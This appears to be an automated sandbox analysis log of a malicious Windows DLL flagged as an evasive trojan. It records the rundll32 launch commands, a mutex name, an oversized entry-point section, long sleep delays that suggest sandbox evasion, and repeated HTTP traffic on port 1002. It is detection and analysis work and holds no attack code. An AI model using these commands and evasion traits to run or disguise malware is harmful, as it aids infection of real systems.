Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB03D90	4_2_6CB03D90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB02CC0	4_2_6CB02CC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB0A140	4_2_6CB0A140
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB08300	4_2_6CB08300
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB05640	4_2_6CB05640
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB04CB0	4_2_6CB04CB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB0AA20	4_2_6CB0AA20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB02150	4_2_6CB02150
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB091D0	4_2_6CB091D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB0B580	4_2_6CB0B580
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB01040	4_2_6CB01040

Source: RqrQG7s66x.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: classification engine

Classification label: mal88.troj.evad.winDLL@10/0@37/34

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2332:120:WilError_03
Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\AyromluyYuts

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\RqrQG7s66x.dll,DllEntry

Source: RqrQG7s66x.dll	ReversingLabs: Detection: 48%
Source: RqrQG7s66x.dll	Virustotal: Detection: 49%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\RqrQG7s66x.dll,DllEntry
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",DllEntry
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\RqrQG7s66x.dll,DllEntry	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",DllEntry	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",#1	Jump to behavior

Source: RqrQG7s66x.dll

Static file information: File size 4283392 > 1048576

Source: RqrQG7s66x.dll

Static PE information: Raw size of .data2 is bigger than: 0x100000 < 0x415000

Source: RqrQG7s66x.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: initial sample

Static PE information: section where entry point is pointing to: .data2

Source: RqrQG7s66x.dll	Static PE information: section name: .data0
Source: RqrQG7s66x.dll	Static PE information: section name: .data1
Source: RqrQG7s66x.dll	Static PE information: section name: .data2

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D07060A push B3BD1123h; mov dword ptr [esp], edx	4_2_6D07060F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB9FB43 push B3BD1123h; mov dword ptr [esp], edx	4_2_6CB9FB48
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB9FB43 push edx; mov dword ptr [esp], ebp	4_2_6CBBD7D2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6D07060A push B3BD1123h; mov dword ptr [esp], edx	5_2_6D07060F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6CB9FB43 push B3BD1123h; mov dword ptr [esp], edx	5_2_6CB9FB48
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6CB9FB43 push edx; mov dword ptr [esp], ebp	5_2_6CBBD7D2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_6D07060A push B3BD1123h; mov dword ptr [esp], edx	6_2_6D07060F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_6CB9FB43 push B3BD1123h; mov dword ptr [esp], edx	6_2_6CB9FB48
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_6CB9FB43 push edx; mov dword ptr [esp], ebp	6_2_6CBBD7D2

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50156
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50161
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50163
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50214
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50216
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50218
Source: unknown	Network traffic detected: HTTP traffic on port 50218 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50227
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50233
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50235
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50236
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 1002

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_4-1869

Source: C:\Windows\SysWOW64\rundll32.exe TID: 5348	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6412	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 972	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5176	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3940	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6184	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6CB08300 GetWindowsDirectoryA,FindFirstFileA,FindClose,GetWindowsDirectoryA,FindFirstFileA,FindClose,

4_2_6CB08300

Source: C:\Windows\System32\loaddll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
